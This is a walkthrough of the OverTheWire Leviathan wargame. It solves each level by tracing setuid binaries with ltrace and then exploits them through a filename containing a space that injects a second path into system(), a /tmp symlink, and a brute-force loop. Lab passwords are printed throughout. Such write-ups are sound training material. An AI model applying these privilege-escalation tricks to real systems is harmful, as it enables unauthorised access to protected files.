First of all, all the passwords are stored in /etc/leviathan_pass in leviathan.labs.overthewire.org, but we don’t have the permission to look at them unless we’re the user at a higher level.

There is no information for every level


Level 0

1
2
~ ssh -p 2223 leviathan0@leviathan.labs.overthewire.org
leviathan0@leviathan:~$

Level 0 -> Level 1

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
leviathan0@leviathan:~$ ls -al
total 24
drwxr-xr-x  3 root       root       4096 May 10 18:27 .
drwxr-xr-x 10 root       root       4096 May 10 18:27 ..
drwxr-x---  2 leviathan1 leviathan0 4096 May 10 18:27 .backup
-rw-r--r--  1 root       root        220 May 15  2017 .bash_logout
-rw-r--r--  1 root       root       3526 May 15  2017 .bashrc
-rw-r--r--  1 root       root        675 May 15  2017 .profile
leviathan0@leviathan:~$ cd .backup/
leviathan0@leviathan:~/.backup$ ls
bookmarks.html
leviathan0@leviathan:~/.backup$ file bookmarks.html
bookmarks.html: HTML document, ASCII text, with very long lines
leviathan0@leviathan:~/.backup$ grep -n "bookmarks.html" -e 'password'
1049:<DT><A HREF="http://leviathan.labs.overthewire.org/passwordus.html | This will be fixed later, the password for leviathan1 is rioGegei8m" ADD_DATE="1155384634" LAST_CHARSET="ISO-8859-1" ID="rdf:#$2wIU71">password to leviathan1</A>

Level 1 -> Level 2

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
~ ssh -p 2223 leviathan1@leviathan.labs.overthewire.org
leviathan1@leviathan:~$ ls
check
leviathan1@leviathan:~$ file check
check: setuid ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=a59dfd0a32a6badc54a17cd8e04091fd6f9d049a, not stripped
leviathan1@leviathan:~$ ls -al | grep 'check'
-r-sr-x---  1 leviathan2 leviathan1 7656 May 10 18:27 check
leviathan1@leviathan:~$ ./check
password: 1234
Wrong password, Good Bye ...

Because we can see nothing from the interaction with this ELF file, it’s a great idea to use ltrace to trace what library does it call.

1
2
3
4
leviathan1@leviathan:~$ ltrace ./check
__libc_start_main(0x565556c0, 1, 0xffffd754, 0x565557a0 <unfinished ...>
printf("password: ")                                                          = 10
getchar(0xf7fc5000, 0xffffd754, 0x65766f6c, 0x646f6700password:

Type “1234” and push enter.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
leviathan1@leviathan:~$ ltrace ./check
__libc_start_main(0x565556c0, 1, 0xffffd754, 0x565557a0 <unfinished ...>
printf("password: ")                                                          = 10
getchar(0xf7fc5000, 0xffffd754, 0x65766f6c, 0x646f6700password: 1234
)                       = 49
getchar(0xf7fc5000, 0xffffd754, 0x65766f6c, 0x646f6700)                       = 50
getchar(0xf7fc5000, 0xffffd754, 0x65766f6c, 0x646f6700)                       = 51
strcmp("123", "sex")                                                          = -1
puts("Wrong password, Good Bye ..."Wrong password, Good Bye ...
)                                          = 29
+++ exited (status 0) +++

It’s obvious that it takes the first three character as a string and compares to “sex”. So let’s try type “sex” as our password.

1
2
3
4
leviathan1@leviathan:~$ ./check
password: sex
$ cat /etc/leviathan_pass/leviathan2
ougahZi8Ta

Finally we get a shell and the password


Level 2 -> Level 3

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
~ ssh -p 2223 leviathan2@leviathan.labs.overthewire.org
leviathan2@leviathan:~$ ls -al
total 28
drwxr-xr-x  2 root       root       4096 May 10 18:27 .
drwxr-xr-x 10 root       root       4096 May 10 18:27 ..
-rw-r--r--  1 root       root        220 May 15  2017 .bash_logout
-rw-r--r--  1 root       root       3526 May 15  2017 .bashrc
-rw-r--r--  1 root       root        675 May 15  2017 .profile
-r-sr-x---  1 leviathan3 leviathan2 7640 May 10 18:27 printfile
leviathan2@leviathan:~$ file printfile
printfile: setuid ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=d1b5e5f479cfe2970294b7e8b7af05257c24777f, not stripped
leviathan2@leviathan:~$ ./printfile
*** File Printer ***
Usage: ./printfile filename
leviathan2@leviathan:~$ ./printfile /etc/leviathan_pass/leviathan3
You cant have that file...
leviathan2@leviathan:~$ ltrace ./printfile /etc/leviathan_pass/leviathan3
__libc_start_main(0x565556c0, 2, 0xffffd714, 0x565557b0 <unfinished ...>
access("/etc/leviathan_pass/leviathan3", 4)                                   = -1
puts("You cant have that file..."You cant have that file...
)                                            = 27
+++ exited (status 1) +++
leviathan2@leviathan:~$ mkdir /tmp/leviathan2
leviathan2@leviathan:~$ chmod 777 /tmp/leviathan2
leviathan2@leviathan:~$ vim /tmp/leviathan2/foo
leviathan2@leviathan:~$ cat /tmp/leviathan2/foo
It's foo
leviathan2@leviathan:~$ ./printfile /tmp/leviathan2/foo
It's foo
leviathan2@leviathan:~$ ltrace ./printfile /tmp/leviathan2/foo
__libc_start_main(0x565556c0, 2, 0xffffd724, 0x565557b0 <unfinished ...>
access("/tmp/leviathan2/foo", 4)                                              = 0
snprintf("/bin/cat /tmp/leviathan2/foo", 511, "/bin/cat %s", "/tmp/leviathan2/foo") = 28
geteuid()                                                                     = 12002
geteuid()                                                                     = 12002
setreuid(12002, 12002)                                                        = 0
system("/bin/cat /tmp/leviathan2/foo"It's foo
 <no return ...>
--- SIGCHLD (Child exited) ---
<... system resumed> )                                                        = 0
+++ exited (status 0) +++

First of all, we can see that the ELF printfile use access() to check user’s permission for a file. Later it’ll run /bin/cat to print out the content in that file. Let’s try print out two files at the same time because we all know that /bin/cat can print out two files at the same time.

1
2
3
4
5
6
7
8
leviathan2@leviathan:~$ vim /tmp/leviathan2/goo
leviathan2@leviathan:~$ cat /tmp/leviathan2/goo
Here's go
leviathan2@leviathan:~$ cat /tmp/leviathan2/foo /tmp/leviathan2/goo
It's foo
Here's goo
leviathan2@leviathan:~$ ./printfile /tmp/leviathan2/foo /tmp/leviathan2/goo
It's foo

It only prints out It's a foo, let’s see what happened.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
leviathan2@leviathan:~$ ltrace ./printfile /tmp/leviathan2/foo /tmp/leviathan2/goo
__libc_start_main(0x565556c0, 3, 0xffffd714, 0x565557b0 <unfinished ...>
access("/tmp/leviathan2/foo", 4)                                              = 0
snprintf("/bin/cat /tmp/leviathan2/foo", 511, "/bin/cat %s", "/tmp/leviathan2/foo") = 28
geteuid()                                                                     = 12002
geteuid()                                                                     = 12002
setreuid(12002, 12002)                                                        = 0
system("/bin/cat /tmp/leviathan2/foo"It's foo
 <no return ...>
--- SIGCHLD (Child exited) ---
<... system resumed> )                                                        = 0
+++ exited (status 0) +++

It only checks and prints out the first file, totally ignore the second one because of the space between two files. How about if there’s a file having space in its name?

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
leviathan2@leviathan:~$ cd /tmp/leviathan2
leviathan2@leviathan:/tmp/leviathan2$ vim "foo goo"
leviathan2@leviathan:/tmp/leviathan2$ cat "foo goo"
Not only foo but goo
leviathan2@leviathan:/tmp/leviathan2$ ~/printfile "foo goo"
It's foo
Here's goo
leviathan2@leviathan:/tmp/leviathan2$ ltrace ~/printfile "foo goo"
__libc_start_main(0x565556c0, 2, 0xffffd6f4, 0x565557b0 <unfinished ...>
access("foo goo", 4)                                                          = 0
snprintf("/bin/cat foo goo", 511, "/bin/cat %s", "foo goo")                   = 16
geteuid()                                                                     = 12002
geteuid()                                                                     = 12002
setreuid(12002, 12002)                                                        = 0
system("/bin/cat foo goo"It's foo
Here's goo
 <no return ...>
--- SIGCHLD (Child exited) ---
<... system resumed> )                                                        = 0
+++ exited (status 0) +++

It’s obvious that the ELF checks the permission of “foo goo”, but without getting double quotes in /bin/cat, so it prints out file “foo” and “goo” separately. That’s how we can get the password.

1
2
3
4
5
leviathan2@leviathan:/tmp/leviathan2$ touch "foo leviathan3"
leviathan2@leviathan:/tmp/leviathan2$ cd /etc/leviathan_pass
leviathan2@leviathan:/etc/leviathan_pass$ ~/printfile "/tmp/leviathan2/foo leviathan3"
It's foo
Ahdiemoo1j

Level 3 -> Level 4

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
~ ssh -p 2223 leviathan3@leviathan.labs.overthewire.org
leviathan3@leviathan:~$ ls -al
total 32
drwxr-xr-x  2 root       root        4096 May 10 18:27 .
drwxr-xr-x 10 root       root        4096 May 10 18:27 ..
-rw-r--r--  1 root       root         220 May 15  2017 .bash_logout
-rw-r--r--  1 root       root        3526 May 15  2017 .bashrc
-rw-r--r--  1 root       root         675 May 15  2017 .profile
-r-sr-x---  1 leviathan4 leviathan3 10488 May 10 18:27 level3
leviathan3@leviathan:~$ ./level3
Enter the password> 1234
bzzzzzzzzap. WRONG
leviathan3@leviathan:~$ ltrace ./level3
__libc_start_main(0x565557b4, 1, 0xffffd754, 0x56555870 <unfinished ...>
strcmp("h0no33", "kakaka")                                                    = -1
printf("Enter the password> ")                                                = 20
fgets(Enter the password>

Type “1234” and press ‘enter’.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
leviathan3@leviathan:~$ ltrace ./level3
__libc_start_main(0x565557b4, 1, 0xffffd754, 0x56555870 <unfinished ...>
strcmp("h0no33", "kakaka")                                                    = -1
printf("Enter the password> ")                                                = 20
fgets(Enter the password> 1234
"1234\n", 256, 0xf7fc55a0)                                              = 0xffffd560
strcmp("1234\n", "snlprintf\n")                                               = -1
puts("bzzzzzzzzap. WRONG"bzzzzzzzzap. WRONG
)                                                    = 19
+++ exited (status 0) +++

It trys to compare my input ot “snlprintf” Let’s try to use “snlprintf” as input

1
2
3
4
Enter the password> snlprintf
[You've got shell]!
$ cat /etc/leviathan_pass/leviathan4
vuH0coox6m

Level 4 -> Level 5

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
~ ssh -p 2223 leviathan4@leviathan.labs.overthewire.org
leviathan4@leviathan:~$ ls -al
total 24
drwxr-xr-x  3 root root       4096 May 10 18:27 .
drwxr-xr-x 10 root root       4096 May 10 18:27 ..
-rw-r--r--  1 root root        220 May 15  2017 .bash_logout
-rw-r--r--  1 root root       3526 May 15  2017 .bashrc
-rw-r--r--  1 root root        675 May 15  2017 .profile
dr-xr-x---  2 root leviathan4 4096 May 10 18:27 .trash
leviathan4@leviathan:~$ cd .trash/
leviathan4@leviathan:~/.trash$ ls -al
total 16
dr-xr-x--- 2 root       leviathan4 4096 May 10 18:27 .
drwxr-xr-x 3 root       root       4096 May 10 18:27 ..
-r-sr-x--- 1 leviathan5 leviathan4 7556 May 10 18:27 bin
leviathan4@leviathan:~/.trash$ file bin
bin: setuid ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=d3808cd51b87c957fdaa96b31a561c7aa414f952, not stripped
leviathan4@leviathan:~/.trash$ ./bin
01010100 01101001 01110100 01101000 00110100 01100011 01101111 01101011 01100101 01101001 00001010

There are a lot of binaries printed out from ./bin. If we change the binary to ASCII using online converter, we’ll get “Tith4cokei”, and it’s the password for the next level.


Level 5 -> Level 6

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
~ ssh -p 2223 leviathan5@leviathan.labs.overthewire.org
leviathan5@leviathan:~$ ls -al
total 28
drwxr-xr-x  2 root       root       4096 May 10 18:27 .
drwxr-xr-x 10 root       root       4096 May 10 18:27 ..
-rw-r--r--  1 root       root        220 May 15  2017 .bash_logout
-rw-r--r--  1 root       root       3526 May 15  2017 .bashrc
-rw-r--r--  1 root       root        675 May 15  2017 .profile
-r-sr-x---  1 leviathan6 leviathan5 7764 May 10 18:27 leviathan5
leviathan5@leviathan:~$ file leviathan5
leviathan5: setuid ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=ed6f1fe71c4b82ecb323211e4c9b79fa3f8c09ca, not stripped
leviathan5@leviathan:~$ ./leviathan5
Cannot find /tmp/file.log
leviathan5@leviathan:~$ vim /tmp/file.log
leviathan5@leviathan:~$ cat /tmp/file.log
It's file.log
leviathan5@leviathan:~$ ./leviathan5
It's file.log
leviathan5@leviathan:~$ ./leviathan5
Cannot find /tmp/file.log
leviathan5@leviathan:~$ vim /tmp/file.log
leviathan5@leviathan:~$ cat /tmp/file.log
It's file.log
leviathan5@leviathan:~$ ltrace ./leviathan5
__libc_start_main(0x56555760, 1, 0xffffd744, 0x56555840 <unfinished ...>
fopen("/tmp/file.log", "r")                                                   = 0x56558008
fgetc(0x56558008)                                                             = 'I'
feof(0x56558008)                                                              = 0
putchar(73, 0x565558c0, 1, 0x56555777)                                        = 73
fgetc(0x56558008)                                                             = 't'
feof(0x56558008)                                                              = 0
putchar(116, 0x565558c0, 1, 0x56555777)                                       = 116
fgetc(0x56558008)                                                             = '''
feof(0x56558008)                                                              = 0
putchar(39, 0x565558c0, 1, 0x56555777)                                        = 39
fgetc(0x56558008)                                                             = 's'
feof(0x56558008)                                                              = 0
putchar(115, 0x565558c0, 1, 0x56555777)                                       = 115
fgetc(0x56558008)                                                             = ' '
feof(0x56558008)                                                              = 0
putchar(32, 0x565558c0, 1, 0x56555777)                                        = 32
fgetc(0x56558008)                                                             = 'f'
feof(0x56558008)                                                              = 0
putchar(102, 0x565558c0, 1, 0x56555777)                                       = 102
fgetc(0x56558008)                                                             = 'i'
feof(0x56558008)                                                              = 0
putchar(105, 0x565558c0, 1, 0x56555777)                                       = 105
fgetc(0x56558008)                                                             = 'l'
feof(0x56558008)                                                              = 0
putchar(108, 0x565558c0, 1, 0x56555777)                                       = 108
fgetc(0x56558008)                                                             = 'e'
feof(0x56558008)                                                              = 0
putchar(101, 0x565558c0, 1, 0x56555777)                                       = 101
fgetc(0x56558008)                                                             = '.'
feof(0x56558008)                                                              = 0
putchar(46, 0x565558c0, 1, 0x56555777)                                        = 46
fgetc(0x56558008)                                                             = 'l'
feof(0x56558008)                                                              = 0
putchar(108, 0x565558c0, 1, 0x56555777)                                       = 108
fgetc(0x56558008)                                                             = 'o'
feof(0x56558008)                                                              = 0
putchar(111, 0x565558c0, 1, 0x56555777)                                       = 111
fgetc(0x56558008)                                                             = 'g'
feof(0x56558008)                                                              = 0
putchar(103, 0x565558c0, 1, 0x56555777)                                       = 103
fgetc(0x56558008)                                                             = '\n'
feof(0x56558008)                                                              = 0
putchar(10, 0x565558c0, 1, 0x56555777It's file.log
)                                        = 10
fgetc(0x56558008)                                                             = '\377'
feof(0x56558008)                                                              = 1
fclose(0x56558008)                                                            = 0
getuid()                                                                      = 12005
setuid(12005)                                                                 = 0
unlink("/tmp/file.log")                                                       = 0
+++ exited (status 0) +++

As we can see, it opens /tmp/file.log gets the content from it. Finally, unlink it. We can use a symbolic link for this one.

1
2
3
leviathan5@leviathan:~$ ln -s /etc/leviathan_pass/leviathan6 /tmp/file.log
leviathan5@leviathan:~$ ./leviathan5
UgaoFee4li

Level 6 -> Level 7

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
~ ssh -p 2223 leviathan6@leviathan.labs.overthewire.org
leviathan6@leviathan:~$ ls -al
total 28
drwxr-xr-x  2 root       root       4096 May 10 18:27 .
drwxr-xr-x 10 root       root       4096 May 10 18:27 ..
-rw-r--r--  1 root       root        220 May 15  2017 .bash_logout
-rw-r--r--  1 root       root       3526 May 15  2017 .bashrc
-rw-r--r--  1 root       root        675 May 15  2017 .profile
-r-sr-x---  1 leviathan7 leviathan6 7656 May 10 18:27 leviathan6
leviathan6@leviathan:~$ file leviathan6
leviathan6: setuid ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=b7f7c43e5c2675a0f2225f62842a94a18506f75a, not stripped
leviathan6@leviathan:~$ ./leviathan6
usage: ./leviathan6 <4 digit code>
leviathan6@leviathan:~$ ./leviathan6 1234
Wrong

For a 4 digit code, we can write a script and brute force it.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
leviathan6@leviathan:~$ mkdir /tmp/leviathan6
leviathan6@leviathan:~$ cd /tmp/leviathan6
leviathan6@leviathan:/tmp/leviathan6$ vim brute_force.sh
leviathan6@leviathan:/tmp/leviathan6$ cat brute_force.sh
#!/bin/bash

for i in $(seq -f "%04g" 0 9999); do
    ~/leviathan6 $i
done
leviathan6@leviathan:/tmp/leviathan6$ chmod 766 brute_force.sh
Wrong
Wrong
......
......
Wrong
Wrong
$ cat /etc/leviathan_pass/leviathan7
ahy7MaeBo9

There’s actually no level 7, so that’s it, hope this can help u